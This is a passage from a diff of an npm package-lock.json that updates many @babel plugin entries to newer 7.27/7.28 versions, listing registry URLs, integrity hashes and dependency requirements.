"sha512-6mmljtAedFGTWu2p/8WIORGwy+61PLgOMPOdazc7YoJ9ZCWUyFy3A6CpPkRKLKD1ToAesxX8KGEViAiLo9N+7Q==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.22.5.tgz", + "integrity": "sha512-gvyP4hZrgrs/wWMaocvxZ44Hw0b3W8Pe+cMxc8V1ULQ07oh8VNbIRaoD1LRZVTvD+0nieDKjfgKg89sD7rrKrg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.22.5" } }, "@babel/plugin-syntax-logical-assignment-operators": { @@ -19381,15 +16736,6 @@ "@babel/helper-plugin-utils": "^7.8.0" } }, - "@babel/plugin-syntax-private-property-in-object": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz", - "integrity": "sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.14.5" - } - }, "@babel/plugin-syntax-top-level-await": { "version": "7.14.5", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz", @@ -19400,263 +16746,436 @@ } }, "@babel/plugin-syntax-typescript": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.22.5.tgz", + "integrity": "sha512-1mS2o03i7t1c6VzH6fdQ3OA8tcEIxwG18zIPRp+UY1Ihv6W+XZzBCVxExF9upussPXJ0xE9XRHwMoNs1ep/nRQ==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-syntax-unicode-sets-regex": { "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.18.6.tgz", - "integrity": "sha512-mAWAuq4rvOepWCBid55JuRNvpTNf2UGVgoz4JV0fXEKolsVZDzsa4NqCef758WZJj/GDu0gVGItjKFiClTAmZA==", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-unicode-sets-regex/-/plugin-syntax-unicode-sets-regex-7.18.6.tgz", + "integrity": "sha512-727YkEAPwSIQTv5im8QHz3upqp92JTWhidIC81Tdx4VJYIte/VndKf1qKrfnnhPLiPghStWfvC/iFaMCQu7Nqg==", "dev": true, "requires": { + "@babel/helper-create-regexp-features-plugin": "^7.18.6", "@babel/helper-plugin-utils": "^7.18.6" } }, "@babel/plugin-transform-arrow-functions": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.18.6.tgz", - "integrity": "sha512-9S9X9RUefzrsHZmKMbDXxweEH+YlE8JJEuat9FdvW9Qh1cw7W64jELCtWNkPBPX5En45uy28KGvA/AySqUh8CQ==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.27.1.tgz", + "integrity": "sha512-8Z4TGic6xW70FKThA5HYEKKyBpOOsucTOD1DjU3fZxDg+K3zBJcXMFnt/4yQiZnf5+MiOMSXQ9PaEK/Ilh1DeA==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.27.1" + } + }, + "@babel/plugin-transform-async-generator-functions": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-generator-functions/-/plugin-transform-async-generator-functions-7.28.0.tgz", + "integrity": "sha512-BEOdvX4+M765icNPZeidyADIvQ1m1gmunXufXxvRESy/jNNyfovIqUyE7MVgGBjWktCoJlzvFA1To2O4ymIO3Q==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/helper-remap-async-to-generator": "^7.27.1", + "@babel/traverse": "^7.28.0" } }, "@babel/plugin-transform-async-to-generator": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.18.6.tgz", - "integrity": "sha512-ARE5wZLKnTgPW7/1ftQmSi1CmkqqHo2DNmtztFhvgtOWSDfq0Cq9/9L+KnZNYSNrydBekhW3rwShduf59RoXag==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.27.1.tgz", + "integrity": "sha512-NREkZsZVJS4xmTr8qzE5y8AfIPqsdQfRuUiLRTEzb7Qii8iFWCyDKaUV2c0rCuh4ljDZ98ALHP/PetiBV2nddA==", "dev": true, "requires": { - "@babel/helper-module-imports": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.6", - "@babel/helper-remap-async-to-generator": "^7.18.6" + "@babel/helper-module-imports": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/helper-remap-async-to-generator": "^7.27.1" } }, "@babel/plugin-transform-block-scoped-functions": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.18.6.tgz", - "integrity": "sha512-ExUcOqpPWnliRcPqves5HJcJOvHvIIWfuS4sroBUenPuMdmW+SMHDakmtS7qOo13sVppmUijqeTv7qqGsvURpQ==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.27.1.tgz", + "integrity": "sha512-cnqkuOtZLapWYZUYM5rVIdv1nXYuFVIltZ6ZJ7nIj585QsjKM5dhL2Fu/lICXZ1OyIAFc7Qy+bvDAtTXqGrlhg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.27.1" } }, "@babel/plugin-transform-block-scoping": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.18.9.tgz", - "integrity": "sha512-5sDIJRV1KtQVEbt/EIBwGy4T01uYIo4KRB3VUqzkhrAIOGx7AoctL9+Ux88btY0zXdDyPJ9mW+bg+v+XEkGmtw==", + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.28.0.tgz", + "integrity": "sha512-gKKnwjpdx5sER/wl0WN0efUBFzF/56YZO0RJrSYP4CljXnP31ByY7fol89AzomdlLNzI36AvOTmYHsnZTCkq8Q==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.27.1" + } + }, + "@babel/plugin-transform-class-properties": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-class-properties/-/plugin-transform-class-properties-7.27.1.tgz", + "integrity": "sha512-D0VcalChDMtuRvJIu3U/fwWjf8ZMykz5iZsg77Nuj821vCKI3zCyRLwRdWbsuJ/uRwZhZ002QtCqIkwC/ZkvbA==", + "dev": true, + "requires": { + "@babel/helper-create-class-features-plugin": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" + } + }, + "@babel/plugin-transform-class-static-block": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-class-static-block/-/plugin-transform-class-static-block-7.27.1.tgz", + "integrity": "sha512-s734HmYU78MVzZ++joYM+NkJusItbdRcbm+AGRgJCt3iA+yux0QpD9cBVdz3tKyrjVYWRl7j0mHSmv4lhV0aoA==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.18.9" + "@babel/helper-create-class-features-plugin": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" } }, "@babel/plugin-transform-classes": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.18.9.tgz", - "integrity": "sha512-EkRQxsxoytpTlKJmSPYrsOMjCILacAjtSVkd4gChEe2kXjFCun3yohhW5I7plXJhCemM0gKsaGMcO8tinvCA5g==", + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.28.0.tgz", + "integrity": "sha512-IjM1IoJNw72AZFlj33Cu8X0q2XK/6AaVC3jQu+cgQ5lThWD5ajnuUAml80dqRmOhmPkTH8uAwnpMu9Rvj0LTRA==", "dev": true, "requires": { - "@babel/helper-annotate-as-pure": "^7.18.6", - "@babel/helper-environment-visitor": "^7.18.9", - "@babel/helper-function-name": "^7.18.9", - "@babel/helper-optimise-call-expression": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.9", - "@babel/helper-replace-supers": "^7.18.9", - "@babel/helper-split-export-declaration": "^7.18.6", - "globals": "^11.1.0" + "@babel/helper-annotate-as-pure": "^7.27.3", + "@babel/helper-compilation-targets": "^7.27.2", + "@babel/helper-globals": "^7.28.0", + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/helper-replace-supers": "^7.27.1", + "@babel/traverse": "^7.28.0" } }, "@babel/plugin-transform-computed-properties": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.18.9.tgz", - "integrity": "sha512-+i0ZU1bCDymKakLxn5srGHrsAPRELC2WIbzwjLhHW9SIE1cPYkLCL0NlnXMZaM1vhfgA2+M7hySk42VBvrkBRw==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.27.1.tgz", + "integrity": "sha512-lj9PGWvMTVksbWiDT2tW68zGS/cyo4AkZ/QTp0sQT0mjPopCmrSkzxeXkznjqBxzDI6TclZhOJbBmbBLjuOZUw==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.18.9" + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/template": "^7.27.1" } }, "@babel/plugin-transform-destructuring": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.18.9.tgz", - "integrity": "sha512-p5VCYNddPLkZTq4XymQIaIfZNJwT9YsjkPOhkVEqt6QIpQFZVM9IltqqYpOEkJoN1DPznmxUDyZ5CTZs/ZCuHA==", + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.28.0.tgz", + "integrity": "sha512-v1nrSMBiKcodhsyJ4Gf+Z0U/yawmJDBOTpEB3mcQY52r9RIyPneGyAS/yM6seP/8I+mWI3elOMtT5dB8GJVs+A==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.18.9" + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/traverse": "^7.28.0" } }, "@babel/plugin-transform-dotall-regex": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.18.6.tgz", - "integrity": "sha512-6S3jpun1eEbAxq7TdjLotAsl4WpQI9DxfkycRcKrjhQYzU87qpXdknpBg/e+TdcMehqGnLFi7tnFUBR02Vq6wg==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.27.1.tgz", + "integrity": "sha512-gEbkDVGRvjj7+T1ivxrfgygpT7GUd4vmODtYpbs0gZATdkX8/iSnOtZSxiZnsgm1YjTgjI6VKBGSJJevkrclzw==", "dev": true, "requires": { - "@babel/helper-create-regexp-features-plugin": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-create-regexp-features-plugin": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" } }, "@babel/plugin-transform-duplicate-keys": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.18.9.tgz", - "integrity": "sha512-d2bmXCtZXYc59/0SanQKbiWINadaJXqtvIQIzd4+hNwkWBgyCd5F/2t1kXoUdvPMrxzPvhK6EMQRROxsue+mfw==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.27.1.tgz", + "integrity": "sha512-MTyJk98sHvSs+cvZ4nOauwTTG1JeonDjSGvGGUNHreGQns+Mpt6WX/dVzWBHgg+dYZhkC4X+zTDfkTU+Vy9y7Q==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.27.1" + } + }, + "@babel/plugin-transform-duplicate-named-capturing-groups-regex": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-named-capturing-groups-regex/-/plugin-transform-duplicate-named-capturing-groups-regex-7.27.1.tgz", + "integrity": "sha512-hkGcueTEzuhB30B3eJCbCYeCaaEQOmQR0AdvzpD4LoN0GXMWzzGSuRrxR2xTnCrvNbVwK9N6/jQ92GSLfiZWoQ==", + "dev": true, + "requires": { + "@babel/helper-create-regexp-features-plugin": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" + } + }, + "@babel/plugin-transform-dynamic-import": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dynamic-import/-/plugin-transform-dynamic-import-7.27.1.tgz", + "integrity": "sha512-MHzkWQcEmjzzVW9j2q8LGjwGWpG2mjwaaB0BNQwst3FIjqsg8Ct/mIZlvSPJvfi9y2AC8mi/ktxbFVL9pZ1I4A==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.27.1" + } + }, + "@babel/plugin-transform-explicit-resource-management": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-explicit-resource-management/-/plugin-transform-explicit-resource-management-7.28.0.tgz", + "integrity": "sha512-K8nhUcn3f6iB+P3gwCv/no7OdzOZQcKchW6N389V6PD8NUWKZHzndOd9sPDVbMoBsbmjMqlB4L9fm+fEFNVlwQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.18.9" + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/plugin-transform-destructuring": "^7.28.0" } }, "@babel/plugin-transform-exponentiation-operator": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.18.6.tgz", - "integrity": "sha512-wzEtc0+2c88FVR34aQmiz56dxEkxr2g8DQb/KfaFa1JYXOFVsbhvAonFN6PwVWj++fKmku8NP80plJ5Et4wqHw==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.27.1.tgz", + "integrity": "sha512-uspvXnhHvGKf2r4VVtBpeFnuDWsJLQ6MF6lGJLC89jBR1uoVeqM416AZtTuhTezOfgHicpJQmoD5YUakO/YmXQ==", "dev": true, "requires": { - "@babel/helper-builder-binary-assignment-operator-visitor": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.27.1" + } + }, + "@babel/plugin-transform-export-namespace-from": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-export-namespace-from/-/plugin-transform-export-namespace-from-7.27.1.tgz", + "integrity": "sha512-tQvHWSZ3/jH2xuq/vZDy0jNn+ZdXJeM8gHvX4lnJmsc3+50yPlWdZXIc5ay+umX+2/tJIqHqiEqcJvxlmIvRvQ==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.27.1" } }, "@babel/plugin-transform-for-of": { - "version": "7.18.8", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.18.8.tgz", - "integrity": "sha512-yEfTRnjuskWYo0k1mHUqrVWaZwrdq8AYbfrpqULOJOaucGSp4mNMVps+YtA8byoevxS/urwU75vyhQIxcCgiBQ==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.27.1.tgz", + "integrity": "sha512-BfbWFFEJFQzLCQ5N8VocnCtA8J1CLkNTe2Ms2wocj75dd6VpiqS5Z5quTYcUoo4Yq+DN0rtikODccuv7RU81sw==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" + } + }, + "@babel/plugin-transform-function-name": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.27.1.tgz", + "integrity": "sha512-1bQeydJF9Nr1eBCMMbC+hdwmRlsv5XYOMu03YSWFwNs0HsAmtSxxF1fyuYPqemVldVyFmlCU7w8UE14LupUSZQ==", + "dev": true, + "requires": { + "@babel/helper-compilation-targets": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/traverse": "^7.27.1" + } + }, + "@babel/plugin-transform-json-strings": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-json-strings/-/plugin-transform-json-strings-7.27.1.tgz", + "integrity": "sha512-6WVLVJiTjqcQauBhn1LkICsR2H+zm62I3h9faTDKt1qP4jn2o72tSvqMwtGFKGTpojce0gJs+76eZ2uCHRZh0Q==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.27.1" + } + }, + "@babel/plugin-transform-literals": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.27.1.tgz", + "integrity": "sha512-0HCFSepIpLTkLcsi86GG3mTUzxV5jpmbv97hTETW3yzrAij8aqlD36toB1D0daVFJM8NK6GvKO0gslVQmm+zZA==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.27.1" + } + }, + "@babel/plugin-transform-logical-assignment-operators": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-logical-assignment-operators/-/plugin-transform-logical-assignment-operators-7.27.1.tgz", + "integrity": "sha512-SJvDs5dXxiae4FbSL1aBJlG4wvl594N6YEVVn9e3JGulwioy6z3oPjx/sQBO3Y4NwUu5HNix6KJ3wBZoewcdbw==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.27.1" + } + }, + "@babel/plugin-transform-member-expression-literals": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.27.1.tgz", + "integrity": "sha512-hqoBX4dcZ1I33jCSWcXrP+1Ku7kdqXf1oeah7ooKOIiAdKQ+uqftgCFNOSzA5AMS2XIHEYeGFg4cKRCdpxzVOQ==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.27.1" + } + }, + "@babel/plugin-transform-modules-amd": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.27.1.tgz", + "integrity": "sha512-iCsytMg/N9/oFq6n+gFTvUYDZQOMK5kEdeYxmxt91fcJGycfxVP9CnrxoliM0oumFERba2i8ZtwRUCMhvP1LnA==", + "dev": true, + "requires": { + "@babel/helper-module-transforms": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" + } + }, + "@babel/plugin-transform-modules-commonjs": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.27.1.tgz", + "integrity": "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw==", + "dev": true, + "requires": { + "@babel/helper-module-transforms": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" + } + }, + "@babel/plugin-transform-modules-systemjs": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.27.1.tgz", + "integrity": "sha512-w5N1XzsRbc0PQStASMksmUeqECuzKuTJer7kFagK8AXgpCMkeDMO5S+aaFb7A51ZYDF7XI34qsTX+fkHiIm5yA==", + "dev": true, + "requires": { + "@babel/helper-module-transforms": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/helper-validator-identifier": "^7.27.1", + "@babel/traverse": "^7.27.1" + } + }, + "@babel/plugin-transform-modules-umd": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.27.1.tgz", + "integrity": "sha512-iQBE/xC5BV1OxJbp6WG7jq9IWiD+xxlZhLrdwpPkTX3ydmXdvoCpyfJN7acaIBZaOqTfr76pgzqBJflNbeRK+w==", + "dev": true, + "requires": { + "@babel/helper-module-transforms": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" } }, - "@babel/plugin-transform-function-name": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.18.9.tgz", - "integrity": "sha512-WvIBoRPaJQ5yVHzcnJFor7oS5Ls0PYixlTYE63lCj2RtdQEl15M68FXQlxnG6wdraJIXRdR7KI+hQ7q/9QjrCQ==", + "@babel/plugin-transform-named-capturing-groups-regex": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.27.1.tgz", + "integrity": "sha512-SstR5JYy8ddZvD6MhV0tM/j16Qds4mIpJTOd1Yu9J9pJjH93bxHECF7pgtc28XvkzTD6Pxcm/0Z73Hvk7kb3Ng==", "dev": true, "requires": { - "@babel/helper-compilation-targets": "^7.18.9", - "@babel/helper-function-name": "^7.18.9", - "@babel/helper-plugin-utils": "^7.18.9" + "@babel/helper-create-regexp-features-plugin": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" } }, - "@babel/plugin-transform-literals": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.18.9.tgz", - "integrity": "sha512-IFQDSRoTPnrAIrI5zoZv73IFeZu2dhu6irxQjY9rNjTT53VmKg9fenjvoiOWOkJ6mm4jKVPtdMzBY98Fp4Z4cg==", + "@babel/plugin-transform-new-target": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.27.1.tgz", + "integrity": "sha512-f6PiYeqXQ05lYq3TIfIDu/MtliKUbNwkGApPUvyo6+tc7uaR4cPjPe7DFPr15Uyycg2lZU6btZ575CuQoYh7MQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.18.9" + "@babel/helper-plugin-utils": "^7.27.1" } }, - "@babel/plugin-transform-member-expression-literals": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.18.6.tgz", - "integrity": "sha512-qSF1ihLGO3q+/g48k85tUjD033C29TNTVB2paCwZPVmOsjn9pClvYYrM2VeJpBY2bcNkuny0YUyTNRyRxJ54KA==", + "@babel/plugin-transform-nullish-coalescing-operator": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-nullish-coalescing-operator/-/plugin-transform-nullish-coalescing-operator-7.27.1.tgz", + "integrity": "sha512-aGZh6xMo6q9vq1JGcw58lZ1Z0+i0xB2x0XaauNIUXd6O1xXc3RwoWEBlsTQrY4KQ9Jf0s5rgD6SiNkaUdJegTA==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.27.1" } }, - "@babel/plugin-transform-modules-amd": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.18.6.tgz", - "integrity": "sha512-Pra5aXsmTsOnjM3IajS8rTaLCy++nGM4v3YR4esk5PCsyg9z8NA5oQLwxzMUtDBd8F+UmVza3VxoAaWCbzH1rg==", + "@babel/plugin-transform-numeric-separator": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-numeric-separator/-/plugin-transform-numeric-separator-7.27.1.tgz", + "integrity": "sha512-fdPKAcujuvEChxDBJ5c+0BTaS6revLV7CJL08e4m3de8qJfNIuCc2nc7XJYOjBoTMJeqSmwXJ0ypE14RCjLwaw==", "dev": true, "requires": { - "@babel/helper-module-transforms": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.6", - "babel-plugin-dynamic-import-node": "^2.3.3" + "@babel/helper-plugin-utils": "^7.27.1" } }, - "@babel/plugin-transform-modules-commonjs": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.18.6.tgz", - "integrity": "sha512-Qfv2ZOWikpvmedXQJDSbxNqy7Xr/j2Y8/KfijM0iJyKkBTmWuvCA1yeH1yDM7NJhBW/2aXxeucLj6i80/LAJ/Q==", + "@babel/plugin-transform-object-rest-spread": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-rest-spread/-/plugin-transform-object-rest-spread-7.28.0.tgz", + "integrity": "sha512-9VNGikXxzu5eCiQjdE4IZn8sb9q7Xsk5EXLDBKUYg1e/Tve8/05+KJEtcxGxAgCY5t/BpKQM+JEL/yT4tvgiUA==", "dev": true, "requires": { - "@babel/helper-module-transforms": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.6", - "@babel/helper-simple-access": "^7.18.6", - "babel-plugin-dynamic-import-node": "^2.3.3" + "@babel/helper-compilation-targets": "^7.27.2", + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/plugin-transform-destructuring": "^7.28.0", + "@babel/plugin-transform-parameters": "^7.27.7", + "@babel/traverse": "^7.28.0" } }, - "@babel/plugin-transform-modules-systemjs": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.18.9.tgz", - "integrity": "sha512-zY/VSIbbqtoRoJKo2cDTewL364jSlZGvn0LKOf9ntbfxOvjfmyrdtEEOAdswOswhZEb8UH3jDkCKHd1sPgsS0A==", + "@babel/plugin-transform-object-super": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.27.1.tgz", + "integrity": "sha512-SFy8S9plRPbIcxlJ8A6mT/CxFdJx/c04JEctz4jf8YZaVS2px34j7NXRrlGlHkN/M2gnpL37ZpGRGVFLd3l8Ng==", "dev": true, "requires": { - "@babel/helper-hoist-variables": "^7.18.6", - "@babel/helper-module-transforms": "^7.18.9", - "@babel/helper-plugin-utils": "^7.18.9", - "@babel/helper-validator-identifier": "^7.18.6", - "babel-plugin-dynamic-import-node": "^2.3.3" + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/helper-replace-supers": "^7.27.1" } }, - "@babel/plugin-transform-modules-umd": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.18.6.tgz", - "integrity": "sha512-dcegErExVeXcRqNtkRU/z8WlBLnvD4MRnHgNs3MytRO1Mn1sHRyhbcpYbVMGclAqOjdW+9cfkdZno9dFdfKLfQ==", + "@babel/plugin-transform-optional-catch-binding": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-optional-catch-binding/-/plugin-transform-optional-catch-binding-7.27.1.tgz", + "integrity": "sha512-txEAEKzYrHEX4xSZN4kJ+OfKXFVSWKB2ZxM9dpcE3wT7smwkNmXo5ORRlVzMVdJbD+Q8ILTgSD7959uj+3Dm3Q==", "dev": true, "requires": { - "@babel/helper-module-transforms": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.27.1" } }, - "@babel/plugin-transform-named-capturing-groups-regex": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.18.6.tgz", - "integrity": "sha512-UmEOGF8XgaIqD74bC8g7iV3RYj8lMf0Bw7NJzvnS9qQhM4mg+1WHKotUIdjxgD2RGrgFLZZPCFPFj3P/kVDYhg==", + "@babel/plugin-transform-optional-chaining": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-optional-chaining/-/plugin-transform-optional-chaining-7.27.1.tgz", + "integrity": "sha512-BQmKPPIuc8EkZgNKsv0X4bPmOoayeu4F1YCwx2/CfmDSXDbp7GnzlUH+/ul5VGfRg1AoFPsrIThlEBj2xb4CAg==", "dev": true, "requires": { - "@babel/helper-create-regexp-features-plugin": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" } }, - "@babel/plugin-transform-new-target": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.18.6.tgz", - "integrity": "sha512-DjwFA/9Iu3Z+vrAn+8pBUGcjhxKguSMlsFqeCKbhb9BAV756v0krzVK04CRDi/4aqmk8BsHb4a/gFcaA5joXRw==", + "@babel/plugin-transform-parameters": { + "version": "7.27.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.27.7.tgz", + "integrity": "sha512-qBkYTYCb76RRxUM6CcZA5KRu8K4SM8ajzVeUgVdMVO9NN9uI/GaVmBg/WKJJGnNokV9SY8FxNOVWGXzqzUidBg==", "dev": true, "requires": { - 